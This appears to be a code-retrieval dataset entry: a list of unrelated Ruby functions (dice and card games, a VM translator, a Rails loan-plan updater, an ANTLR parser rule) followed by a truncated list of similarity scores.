"def proba(i)\n dé_actuel=rand(1..6)\n #i=0\n #new_var=i\n\nif (dé_actuel == 5) || (dé_actuel == 6)\n i+=1\n puts \"Le dé est tombé sur 5 ou 6, j'avance d'une case.\"\n puts \"Ma case actuelle est #{i}\"\n puts lancement(i)\nelsif dé_actuel == 1\n if i == 0\n puts \"Je reste à 0!\"\n puts \"Ma case actuelle est #{i}\"\n puts lancement(i)\n else\n i-=1\n puts \"Le dé est tombé sur 1, je recule d'une case.\"\n puts \"Ma case actuelle est #{i}\"\n puts lancement(i)\n end\nelse #(dé_actuel == 2) || (dé_actuel == 3) || (dé_actuel == 4)\n puts \"Le dé est tombé sur 2,3 ou 4, je ne bouge pas!\"\n puts \"Ma case actuelle est #{i}\"\n puts lancement(i)\n\nend\nend",
"def sub_sector; end",
"def call(jmp_addr, no_params, level) \n base << [level, sp-no_params+1]\n s[base.last[1]-1] = ni + 4\n self.ni = jmp_addr\n @jump = true\n end",
"def pega_soma(v1,v2)\r\n v1 + v2\r\nend",
"def adjourn_points_giocataend\r\n # at the end of the game remain to calculate the primiera\r\n player1 = @players[0]\r\n player2 = @players[1]\r\n hand1 = @carte_prese[player1.name]\r\n hand2 = @carte_prese[player2.name]\r\n prim_res_arr = calculate_primiera(hand1, hand2)\r\n @log.debug(\"Primiera of #{player1.name}:#{prim_res_arr[0]}, #{player2.name}: #{prim_res_arr[1]}\")\r\n # update points on all players\r\n ix = 0\r\n [player1, player2].each do |pl|\r\n points_info = @points_curr_segno[pl.name]\r\n points_info[:primiera] = prim_res_arr[ix]\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n ix += 1\r\n end\r\n end",
"def ret(args,i)\n\tlines = \"@LCL\\nD=M\\n@FRAME\\nM=D\\n@5\\nA=D-A\\nD=M\\n@RET\\nM=D\\n\"\n\tlines += mac(false,'argument',\"0\")\n\tlines += \"@ARG\\nD=M+1\\n@SP\\nM=D\\n\"\n\tlines += indc(\"THAT\",\"FRAME\",\"1\")\n\tlines += indc(\"THIS\",\"FRAME\",\"2\")\n\tlines += indc(\"ARG\",\"FRAME\",\"3\")\n\tlines += indc(\"LCL\",\"FRAME\",\"4\")\n\tlines += \"@RET\\nA=M\\n0;JMP\\n\"\nend",
"def call(args,i)\n\tFUNCTION << args[0]\n\ttag = \"return-address\"+i\n\tlines = \"@\"+tag+\"\\nD=A\\n@SP\\nA=M\\nM=D\\n@SP\\nM=M+1\\n\"\n\tlines += ['LCL','ARG','THIS','THAT'].map{|x| pushaddr(x)}.join(\"\")\n\tlines += \"@SP\\nD=M\\n@\"+(args[1].to_i+5).to_s+\"\\nD=D-A\\n@ARG\\nM=D\\n\"\n\tlines += \"@SP\\nD=M\\n@LCL\\nM=D\\n\"\n\tlines += goto([args[0],false],i,true)\n\tlines += \"(\" + tag + \")\"\n\t# return address label goes here\n\tFUNCTION.pop\n\treturn lines\n\nend",
"def processa_bc\n # puts(format(\"%<n>4i ATTESTATIONS INSERIDAS #{BD}.eth2at\", n: apibc.novtx.empty? ? 0 : dml(eth2at_ins)))\n # puts(format(\"%<n>4i PROPOSALS INSERIDAS #{BD}.eth2pr\", n: apibc.novkx.empty? ? 0 : dml(eth2pr_ins)))\n puts(format(\"%<n>4i BALANCES\\tETH2\\t\\tINSERIDOS eth2bh\", n: apibc.nov.empty? ? 0 : dml(eth2bh_ins)))\n end",
"def show_smazzata_end(best_pl_points )\r\n @log.debug \"Show smazzata end dialogbox\"\r\n str = \"** Segno terminato: vince #{best_pl_points.first[0]} col punteggio #{best_pl_points.first[1]} a #{best_pl_points[1][1]}\\n\"\r\n log str\r\n \r\n if @option_gfx[:use_dlg_on_core_info]\r\n @msgbox_smazzataend.show_message_box(\"Smazzata finita\", str.gsub(\"** \", \"\"), true)\r\n @msgbox_smazzataend.set_visible(true)\r\n end\r\n \r\n end",
"def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend",
"def medir_indicador_otro_tipo_33(mind, fini, ffin)\n datosint = []\n base = ::Productopf.\n where( 'proyectofinanciero_id IN (SELECT id ' +\n 'FROM cor1440_gen_proyectofinanciero ' +\n 'WHERE respgp_id IS NOT NULL ' +\n 'AND estado IN (?))', \n ::ApplicationHelper::ESTADOS_APROBADO).\n where('fechaplaneada>=?', fini).\n where('fechaplaneada<=?', ffin).\n where('fechareal<=(fechaplaneada + 7)')\n d1 = base.count\n idp1 = base.pluck(:proyectofinanciero_id)\n rutaev1 = d1 == 0 ? '#' :\n cor1440_gen.proyectosfinancieros_url + '?filtro[busid]=' + \n idp1.uniq.join(',')\n datosint << { valor: d1, rutaevidencia: rutaev1 }\n\n base3 = ::Productopf.\n where( 'proyectofinanciero_id IN (SELECT id ' +\n 'FROM cor1440_gen_proyectofinanciero ' +\n 'WHERE respgp_id IS NOT NULL '+\n 'AND estado IN (?))', \n ::ApplicationHelper::ESTADOS_APROBADO).\n where('fechaplaneada>=?', fini).\n where('fechaplaneada<=?', ffin)\n d2 = base3.count\n idp2 = base3.pluck(:proyectofinanciero_id)\n rutaev2 = d2 == 0 ? '#' :\n cor1440_gen.proyectosfinancieros_url + '?filtro[busid]=' + \n idp2.uniq.join(',')\n datosint << { valor: d2, rutaevidencia: rutaev2 }\n\n resind = d2.to_f > 0 ? 100*d1.to_f/d2.to_f : nil\n return {resind: resind, datosint: datosint, rutaevidencia: rutaev1}\n end",
"def irazucaresp\n vag=(valorazucaresp * 100) / 90\n vag.round(2)\n end",
"def actualizar_plan_general(solicitud_id,params,oficina_id)\n\n oficina = Oficina.find(oficina_id)\n logger.debug \"Actualizando Plan general ===============> #{solicitud_id.to_s}\"\n #logger.debug \"PARAMETROS ===============> \" << params.inspect\n\n @errores = ''\n @plan_inversion = PlanInversion.find(:all,:conditions=>\"solicitud_id = #{solicitud_id}\",\n :order =>\"estado_nombre,oficina_nombre,sector_nombre,tipo_item\",\n :include=>[:unidad_medida])\n\n @errores = ''\n\n begin\n\n # Creación del arreglo de los id del plan de inversion\n \n lista_id = Array.new\n params.each do |k,v|\n \n sep = k.split(\"_\")\n \n if sep[0] == 'cantidad' or sep[0] == 'monto'\n \n if v.to_f > 0 \n \n lista_id << sep[1]\n end\n \n end\n \n end\n \n lista_id.uniq!\n \n #Validación de cantidades y montos que se actualizarán en el plan de inversión\n \n @errores = ''\n \n if !lista_id.empty?\n \n lista_id.each do |id|\n \n\n if params[:\"cantidad_#{id}\"].to_f > 0 and params[:\"monto_#{id}\"].to_f == 0\n @errores << \"#{I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.cantidad_mayor_que_cero_costo_no_puede_ser_cero')} #{PlanInversion.find(id).item_nombre}\" << '|'\n\n end\n \n logger.info \"id #{id.to_s})\"\n logger.info \"Params monto #{params[:\"monto_#{id}\"].to_d.to_s} format: #{format_fm(params[:\"monto_#{id}\"])}\"\n logger.info \"Monto plan #{PlanInversion.find(id).costo_maximo.to_s} format: #{PlanInversion.find(id).costo_maximo.to_d.to_s}\"\n if params[:\"monto_#{id}\"].to_d > PlanInversion.find(id).costo_maximo\n\n @errores << \"#{I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.monto_asignado_mayor_que_costo_maximo')} #{PlanInversion.find(id).item_nombre}\" << '|'\n end\n \n end\n else\n @errores << I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.debe_tener_al_menos_un_item_con_cantidad_monto')\n end\n \n if !@errores.empty?\n \n return @errores\n end\n \n #Se crea el arreglo de cantidades y montos para pasarlo a la función\n #que actualiza el plan de inversion\n \n if !params.nil?\n \n items_plan = '{'\n primero = true\n if lista_id.empty?\n items_plan = nil\n end\n if !lista_id.empty?\n lista_id.each { |x| items_plan += ( primero ? '' : ',' ) + '{\"' + x.to_s +\n '\",\"' + params[\"cantidad_#{x}\".to_s] +\n '\",\"' + params[\"monto_#{x}\".to_s] + '\"}'; primero = false }\n end\n hay_items = true\n items_plan += \"}\"\n else\n items_plan = '{'\n items_plan += \"}\"\n hay_items = false\n end\n \n logger.info \"Items Plan: ================> #{items_plan.inspect}\"\n \n PlanInversion.transaction do\n\n #Se invoca la función de actualización del plan de inversión\n \n params = {\n :p_solicitud_id=>solicitud_id,\n :p_items_plan =>items_plan,\n :p_hay_items =>hay_items\n }\n \n ejecutar = execute_sp('actualizar_plan_inversion_costo_variable', params.values_at(\n :p_solicitud_id,\n :p_items_plan,\n :p_hay_items))\n\n #@plan_inversion.each do |plan|\n\n #if params[:\"cantidad_#{plan.id}\"].to_f > 0 and params[:\"monto_#{plan.id}\"].to_f == 0\n\n #@errores << \"Si la cantidad es mayor que cero el costo no puede ser cero #{plan.item_nombre}\" << '|'\n\n #end\n\n #if params[:\"monto_#{plan.id}\"].to_f <= plan.costo_maximo.to_f\n\n ##logger.debug \"CANTIDAD #{plan.id} =======> \" << params[:\"cantidad_#{plan.id}\"].to_s\n #logger.debug \"MONTO #{plan.id} =======> \" << params[:\"monto_#{plan.id}\"].to_f.to_s\n #logger.debug \"MONTO CONFIGURADOR =======> \" << plan.costo_maximo.to_f.to_s\n\n #plan.cantidad = params[:\"cantidad_#{plan.id}\"].to_f\n #plan.costo_real = params[:\"monto_#{plan.id}\"].to_f\n #plan.monto_financiamiento = plan.cantidad.to_f * plan.costo_real.to_f\n #plan.save!\n\n #else\n #logger.debug \"Monto mayor que máximo establecido #{plan.item_nombre}\"\n #@errores << \"Monto asignado mayor que costo máximo en #{plan.item_nombre}\" << '|'\n #end #===> Fin if params[\"monto_\"]\n\n #end\n \n #======================================\n # Actualización/Creación del préstamo\n #======================================\n \n # #Prestamo.transaction do\n\n # @solicitud = Solicitud.find(solicitud_id)\n # @prestamo = Prestamo.find_by_solicitud_id(@solicitud.id)\n # logger.info \"Prestamo Leido ==============> #{@prestamo.inspect}\"\n # @plan_inversion = PlanInversion.find_by_solicitud_id(@solicitud.id)\n\n # #Buscando condiciones de financiamiento\n\n # @condiciones = CondicionesFinanciamiento.find_by_programa_id_and_sector_id_and_sub_sector_id_and_rubro_id(@solicitud.programa_id,\n # @solicitud.sector_id,\n # @solicitud.sub_sector_id,\n # @solicitud.rubro_id)\n # #Buscando tasa beneficiario\n\n # #tasa = Tasa.find_by_tipo_cliente_id(solicitud.cliente.tipo_cliente_id)\n\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n # tasa = Tasa.find_by_sub_rubro_id(@solicitud.sub_rubro_id)\n # @tasa_valor = TasaValor.find_by_sql(\"Select * from tasa_valor where tasa_id = #{tasa.id} order by id desc LIMIT 1\")\n # @tasa_valor = @tasa_valor[0]\n\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # @plan_inversion = PlanInversion.find(:all, :conditions=>\"solicitud_id = #{@solicitud.id}\",:order =>\"estado_nombre,oficina_nombre,sector_nombre,tipo_item\")\n\n # @solicitud.hectareas_recomendadas = 0.00\n # @solicitud.semovientes_recomendados = 0.00\n\n # if @solicitud.actividad.paquetizado\n\n # @solicitud.hectareas_recomendadas = 0\n # @solicitud.semovientes_recomendados = 0.00\n # else\n # @solicitud.hectareas_recomendadas = 0.00\n # @solicitud.semovientes_recomendados = 0.00\n # end\n\n # @solicitud.semovientes_recomendados = 0.00\n\n # @solicitud.semovientes_recomendados = PlanInversion.sum(:cantidad, :conditions=>\"(partida_nombre like \\'\\%SEMOVIENTES\\%\\' or partida_nombre like \\'\\%TORO REPRODUCTOR\\%\\') and solicitud_id = #{@solicitud.id.to_s}\")\n # if @solicitud.semovientes_recomendados.nil?\n # @solicitud.semovientes_recomendados = 0.00\n # end\n\n # @solicitud.save\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # monto_banco = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'B'\")\n # monto_insumo = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'I'\")\n\n # if @prestamo.nil?\n\n # logger.info \"Entro por prestamo nil ===========================>\"\n # @producto = Producto.find_by_programa_id_and_sector_id_and_sub_sector_id(@solicitud.programa_id, @solicitud.sector_id, @solicitud.sub_sector_id)\n\n # prestamo = Prestamo.new(:solicitud=>@solicitud, :producto=>@producto, :oficina=>oficina, :destinatario=>\"E\")\n\n # prestamo.monto_solicitado = monto_prestamo.to_f\n \n # # -----------------------------------------\n # # Calculo del sras\n # # ---------------------rubro---------------\n\n # parametro = ParametroGeneral.find(1)\n # factor_mensual_primer_ano = parametro.porcentaje_sras_primer_ano / 1200\n # factor_mensual_anos_siguen = parametro.porcentaje_sras_anos_subsiguientes / 1200\n\n # plazo_total = prestamo.plazo + prestamo.meses_gracia\n # if plazo_total <= 12\n # sras_primer_ano = (monto_prestamo * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = 0.00\n # end\n\n # if plazo_total > 12\n # sras_primer_ano = (monto_prestamo * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = (monto_prestamo * factor_mensual_anos_siguen) * (plazo_total - 12)\n # end\n\n # sras_total = sras_primer_ano + sras_anos_siguen\n\n # prestamo.monto_sras_primer_ano = sras_primer_ano\n # prestamo.monto_sras_anos_subsiguientes = sras_anos_siguen\n # prestamo.monto_sras_total = sras_total\n\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n\n # prestamo.tasa_inicial = @tasa_valor.valor\n # prestamo.tasa_vigente = @tasa_valor.valor\n # prestamo.tasa_valor = @tasa_valor.valor\n # prestamo.tasa_referencia_inicial = @tasa_valor.valor\n # prestamo.tasa_id = tasa.id\n\n # prestamo.monto_banco = monto_banco.to_f\n # prestamo.monto_insumos = monto_insumo.to_f\n\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el total gastos en el prestamo\n # # Alexander Cioffi 14/03/2012\n # #-----------------------------------------------------------------\n\n # logger.debug \"Rutina de Gastos al crear el prestamo\"\n # gastos = ProgramaTipoGasto.find_by_programa_id_and_tipo_gasto_id(@solicitud.programa_id, 1)\n # logger.debug \"GASTOS==============> \"<<@gastos.inspect\n\n # total_gasto = 0.00\n # unless (gastos.nil?)\n # if gastos.porcentaje > 0\n # monto = ((prestamo.monto_banco + prestamo.monto_insumos)*(gastos.porcentaje/100))\n # else\n # monto = gastos.monto_fijo\n # end\n # total_gasto = monto\n # end\n # prestamo.monto_gasto_total = total_gasto.to_f\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el total gastos en el prestamo\n # #-----------------------------------------------------------------\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el monto solicitado en la solicitud\n # # Luis Rojas / Alexander Cioffi 14/03/2012 y 15/03/2012\n # #-----------------------------------------------------------------\n\n # @solicitud.monto_solicitado = prestamo.monto_banco + prestamo.monto_insumos + prestamo.monto_sras_total + prestamo.monto_gasto_total\n # @solicitud.monto_aprobado = @solicitud.monto_solicitado\n # @solicitud.save\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el monto solicitado en la solicitud\n # #-----------------------------------------------------------------\n\n # prestamo.save\n # logger.info \"Save despues de insert #{prestamo.errors.full_messages.to_s}\"\n\n # if prestamo.errors.size == 0\n # return true\n # else\n # return false\n # end\n\n # else\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n\n # logger.info \"Entro por else =======> #{@prestamo.inspect}\"\n # @prestamo.tasa_inicial = @tasa_valor.valor\n # @prestamo.tasa_vigente = @tasa_valor.valor\n # @prestamo.tasa_valor = @tasa_valor.valor\n # @prestamo.tasa_referencia_inicial = @tasa_valor.valor\n # @prestamo.tasa_id = tasa.id\n\n\n # # ------------------------------------\n # # Calculo del sras\n # # ------------------------------------\n\n # parametro = ParametroGeneral.find(1)\n # logger.info \"Parametro General =======> #{parametro.inspect}\"\n # logger.info \"Prestamo ================> #{prestamo.inspect}\"\n # factor_mensual_primer_ano = parametro.porcentaje_sras_primer_ano / 1200\n # factor_mensual_anos_siguen = parametro.porcentaje_sras_anos_subsiguientes / 1200\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # monto_banco = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'B'\")\n # monto_insumo = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'I'\")\n\n # plazo_total = @prestamo.plazo + @prestamo.meses_gracia\n\n # if plazo_total <= 12\n # sras_primer_ano = (monto_prestamo.to_f * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = 0.00\n # end\n\n # if plazo_total > 12\n # sras_primer_ano = (monto_prestamo.to_f * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = (monto_prestamo.to_f * factor_mensual_anos_siguen) * (plazo_total - 12)\n # end\n\n # sras_total = sras_primer_ano + sras_anos_siguen\n\n # @prestamo.monto_sras_primer_ano = sras_primer_ano\n # @prestamo.monto_sras_anos_subsiguientes = sras_anos_siguen\n # @prestamo.monto_sras_total = sras_total\n # @prestamo.monto_banco = monto_banco.to_f\n # @prestamo.monto_insumos = monto_insumo.to_f\n # @prestamo.monto_solicitado = monto_prestamo.to_f\n\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el total gastos en el prestamo\n # # Alexander Cioffi 14/03/2012\n # #-----------------------------------------------------------------\n\n # #logger.debug \"Rutina de Gastos al modificar el prestamo\"\n # @gastos = ProgramaTipoGasto.find_by_programa_id_and_tipo_gasto_id(@solicitud.programa_id, 1)\n # #logger.debug \"GASTOS==============> \"<<@gastos.inspect\n # total_gasto = 0.00\n\n # unless (@gastos.nil?)\n # if @gastos.porcentaje > 0\n # monto = ((@prestamo.monto_banco + @prestamo.monto_insumos)*(@gastos.porcentaje/100))\n # else\n # monto = @gastos.monto_fijo\n # end\n # total_gasto = monto\n # end\n # @prestamo.monto_gasto_total = total_gasto.to_f\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el total gastos en el prestamo\n # #-----------------------------------------------------------------\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el monto solicitado en la solicitud\n # # Luis Rojas / Alexander Cioffi 14/03/2012 y 15/03/2012\n # #-----------------------------------------------------------------\n # @solicitud.monto_solicitado = @prestamo.monto_banco + @prestamo.monto_insumos + @prestamo.monto_sras_total + @prestamo.monto_gasto_total\n # @solicitud.monto_aprobado = @solicitud.monto_solicitado\n # @solicitud.save\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el monto solicitado en la solicitud\n # #-----------------------------------------------------------------\n # @prestamo.save\n # logger.info \"Save despues de actualizacion #{@prestamo.errors.full_messages.to_s}\"\n # if @prestamo.errors.size == 0\n # return true\n # else\n # return false\n # end\n\n # end\n\n #end # ----> Fin Prestamo.transaction do\n \n end #===> Fin PlanInversion.transaction do\n\n rescue => detail\n\n logger.info \"Errorressssssss ====> #{@errores.to_s + detail.message + detail.backtrace.to_s}\"\n return @errores + detail.message\n end\n\n if @errores.empty?\n @errores = true\n end\n return @errores\n end",
"def vertikal_bewegen(anzahl)\n bewegen_um_punkt(Punkt.new(0,anzahl))\n end",
"def SAC15=(arg)",
"def huellaNut \n\t\t(@indEnergia.call + @indGei.call)/2.0\n\tend",
"def juega_despues mano, carta_inicial, baza\n\t\tcarta_a_jugar = nil\n\t\tUtil.muestra_msg baza.to_s, @verbose\n\t\tcadena = (Util.captura_entrada \"Escoge una carta por su posicion en la mano (0=inicial)=>\").chomp\n\t\tcarta_a_jugar = mano[cadena.to_i]\n\t\treturn carta_a_jugar\t\n\tend",
"def test\n \n puts \"Test de prueba del programa\"\n puts \"---------------------------\"\n \tputs bono(300,'A',1000.0)\n\tputs bono(1500, 'B',5000.0)\n\tputs bono(1200, 'A', 9000.0)\n\tputs bono(6000, 'B',1000.0)\n\tputs bono(920, 'B', 800.0)\n puts \" \"\nend",
"def berlioz; end",
"def palavraSecreta(info = @info)\n\n sorteio = info[rand(info.size)]\n @plvSorteada = sorteio['Palavra'].upcase\n @plvDica = sorteio['Dica']\n @plvAjudas = sorteio['Ajuda']\n @plvSecreta = @plvSorteada.chars\n @qtdLetras = @plvSorteada.size\n end",
"def programa ()\n puts (\"Introduceti numarul a:\")\n a=gets.chomp.to_f\n puts(\"Introduceti numarul b:\")\n b=gets.chomp.to_f\n puts(\"Introduceti eroarea\")\n eps=gets.chomp.to_f\n\n if ((functia(a)*functia(b))>0) #daca produsul este mai mare ca 0 datele nu sunt introduse corect si trebuie introduse din nou\n programa()\n else\n #apelarea functiilor ce calculeaza radacina\n inj_x, inj_f, inj_i =injumatatire(a,b,eps)\n tan_x, tan_f, tan_i =tangenta(a,b,eps)\n sec_x, sec_f, sec_i= secanta(a,b,eps)\n#afisarea rezultatului\n puts(\"Metoda injumatatirii: radacina functiei este #{inj_x}\",\"valoarea functiei este #{inj_f}\",\"a fost executat in #{inj_i} pasi\")\n puts(\"Metoda tangentei: radacina functiei este #{tan_x}\",\"valoarea functiei este #{tan_f}\",\"a fost executat in #{tan_i} pasi\")\n puts(\"Metoda tangentei: radacina functiei este #{sec_x}\",\"valoarea functiei este #{sec_f}\",\"a fost executat in #{sec_i} pasi\")\n#introducerea unui nou segment sau finisarea programei\n puts(\"doriti sa mai introduceti un segment? y/n\")\n rasp=gets.chomp\n while(rasp !=\"y\"&& rasp !=\"n\")\n puts \" introduceti sau y sau n\"\n rasp=gets.chomp\n end\n if rasp==\"y\"\n programa()\n else rasp==\"n\"\n puts \"La revedere\"\n end\n end\nend",
"def matematica_especial\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 33 )\n\n\n return_value = MatematicaEspecialReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __K_MATEMATICA160__ = nil\n __LPAR161__ = nil\n __Identificador162__ = nil\n __COMA164__ = nil\n __RPAR166__ = nil\n __EOL167__ = nil\n var_local163 = nil\n valor165 = nil\n\n\n tree_for_K_MATEMATICA160 = nil\n tree_for_LPAR161 = nil\n tree_for_Identificador162 = nil\n tree_for_COMA164 = nil\n tree_for_RPAR166 = nil\n tree_for_EOL167 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 164:4: K_MATEMATICA LPAR ( Identificador | var_local ) COMA valor RPAR EOL\n __K_MATEMATICA160__ = match( K_MATEMATICA, TOKENS_FOLLOWING_K_MATEMATICA_IN_matematica_especial_741 )\n if @state.backtracking == 0\n tree_for_K_MATEMATICA160 = @adaptor.create_with_payload( __K_MATEMATICA160__ )\n @adaptor.add_child( root_0, tree_for_K_MATEMATICA160 )\n\n end\n\n __LPAR161__ = match( LPAR, TOKENS_FOLLOWING_LPAR_IN_matematica_especial_743 )\n if @state.backtracking == 0\n tree_for_LPAR161 = @adaptor.create_with_payload( __LPAR161__ )\n @adaptor.add_child( root_0, tree_for_LPAR161 )\n\n end\n\n # at line 164:22: ( Identificador | var_local )\n alt_22 = 2\n look_22_0 = @input.peek( 1 )\n\n if ( look_22_0 == Identificador )\n alt_22 = 1\n elsif ( look_22_0 == DOUBLEDOT )\n alt_22 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 22, 0 )\n\n end\n case alt_22\n when 1\n # at line 164:23: Identificador\n __Identificador162__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_matematica_especial_746 )\n if @state.backtracking == 0\n tree_for_Identificador162 = @adaptor.create_with_payload( __Identificador162__ )\n @adaptor.add_child( root_0, tree_for_Identificador162 )\n\n end\n\n\n when 2\n # at line 164:37: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_matematica_especial_748 )\n var_local163 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local163.tree )\n end\n\n\n end\n __COMA164__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_matematica_especial_751 )\n if @state.backtracking == 0\n tree_for_COMA164 = @adaptor.create_with_payload( __COMA164__ )\n @adaptor.add_child( root_0, tree_for_COMA164 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_matematica_especial_753 )\n valor165 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor165.tree )\n end\n\n __RPAR166__ = match( RPAR, TOKENS_FOLLOWING_RPAR_IN_matematica_especial_755 )\n if @state.backtracking == 0\n tree_for_RPAR166 = @adaptor.create_with_payload( __RPAR166__ )\n @adaptor.add_child( root_0, tree_for_RPAR166 )\n\n end\n\n __EOL167__ = match( EOL, TOKENS_FOLLOWING_EOL_IN_matematica_especial_757 )\n if @state.backtracking == 0\n tree_for_EOL167 = @adaptor.create_with_payload( __EOL167__ )\n @adaptor.add_child( root_0, tree_for_EOL167 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 33 )\n\n\n end\n\n return return_value\n end",
"def IVA (precio_iva)\n precio_iva.map {|plato, precio| precio * 1.19}\n end",
"def ubicacion2(cadena)\n cad=cadena.split(/\\s|,/)\n cad[0]=cad[0].to_i\n cad[1]=cad[1].to_i\n return cad #[2,2,\"S\"]\nend",
"def first_trip(l1, s1)\n ## find index of stop s1 on line l1\n index_s1 = $lines[l1].index(s1)\n ## find index of Union Square Staion on line l1\n index_of_USquare = $lines[l1].index('Union Square')\n\n trip1 = []\n\n if index_s1 <= index_of_USquare\n trip1 = $lines[l1][index_s1..index_of_USquare]\n else\n trip1 = $lines[l1][index_of_USquare..index_s1].reverse\n end\n\n puts \">>> You must travel through the following stops on the #{l1} line: #{trip1.join(', ')}.\"\n puts \">>> Change at Union Square.\"\n\n trip1\nend",
"def vrat_soucet_vah(jedinec)\n soucet = 0\n citac = 0\n jedinec.each do |prvek| \n if(prvek)then\n soucet += @pole_vah[citac].to_i\n end\n citac +=1\n end\n return soucet\n end",
"def show\n # Se ordenaran alfabeticamente por orden de unidad\n # @secuencia = GranUnidad.select(:id, :region_militar_id).order(:region_militar_id).ids\n @array = ActiveRecord::Base.connection.execute(\"SELECT gu.id FROM gran_unidad gu INNER JOIN region_militar rm ON gu.region_militar_id = rm.id ORDER BY rm.nombre\")\n @secuencia = []\n @array.each do |item|\n @secuencia << item[\"id\"]\n end\n @gran_unidad = GranUnidad.find(params[:id])\n @breadcrumb.push << {nombre: @gran_unidad.nombre, url: @gran_unidad}\n @unidades = @gran_unidad.unidad\n end",
"def onalg_new_giocata(carte_player)\r\n [\"b\", \"d\", \"s\", \"c\"].each do |segno|\r\n @strozzi_on_suite[segno] = [:_A, :_3]\r\n @mariazz_on_suite[segno] = true\r\n end\r\n @alg_is_waiting = false\r\n \r\n str_card = \"\"\r\n @cards_on_hand = []\r\n carte_player.each do |card| \r\n @cards_on_hand << card\r\n check_strozza(card.to_s)\r\n end\r\n @briscola = @cards_on_hand.pop\r\n @cards_on_hand.each{|card| str_card << \"#{card.to_s} \"}\r\n @players.each do |pl|\r\n @points_segno[pl.name] = 0\r\n end \r\n @pending_points = 0\r\n @log.info \"#{@alg_player.name} cards: #{str_card}, briscola is #{@briscola.to_s}\"\r\n end",
"def nasa_space_craft; end"
] |
[
"0.53620654",
"0.53321594",
"0.53125554",
"0.5295185",
"0.52044505",
"0.51788306",
"0.5160379",
"0.5145509",
"0.51386064",
"0.51342934",
"0.5120914",
"0.5099961",
"0.509007",
"0.5088421",
"0.5085721",
"0.508533",
"0.5083481",
"0.5047562",
"0.5039486",
"0.5016917",
"0.4988517",
"0.49811304",
"0.49796787",
"0.49688992",
"0.4966027",
"0.4960264",
"0.4950778",
"0.49308637",
"0.49234247",
"0.49226257",
"0.49099085",
"0.49008146",
"0.48969615",
"0.48957387",
"0.48893625",
"0.4879543",
"0.4874106",
"0.4873439",
"0.48699307",
"0.48466802",
"0.48465326",
"0.48462418",
"0.48447177",
"0.48442736",
"0.48419428",
"0.48418823",
"0.48355925",
"0.48338628",
"0.48321757",
"0.48312598",
"0.48305166",
"0.48290408",
"0.48236755",
"0.4816447",
"0.48001686",
"0.4796006",
"0.47864664",
"0.47849056",
"0.47835082",
"0.47817367",
"0.47769743",
"0.47769743",
"0.47756717",
"0.47754467",
"0.47745594",
"0.47736126",
"0.47718513",
"0.47698984",
"0.4768172",
"0.4760857",
"0.4759176",
"0.4758826",
"0.4744824",
"0.47445506",
"0.4744394",
"0.47436124",
"0.4740233",
"0.47383305",
"0.47352642",
"0.47349432",
"0.47336775",
"0.47292683",
"0.47281656",
"0.47218928",
"0.47204933",
"0.47173718",
"0.47149453",
"0.4714186",
"0.47098097",
"0.47088918",
"0.4701984",
"0.4699715",
"0.46990877",
"0.4696918",
"0.4683505",
"0.4681303",
"0.46792096",
"0.46737576",
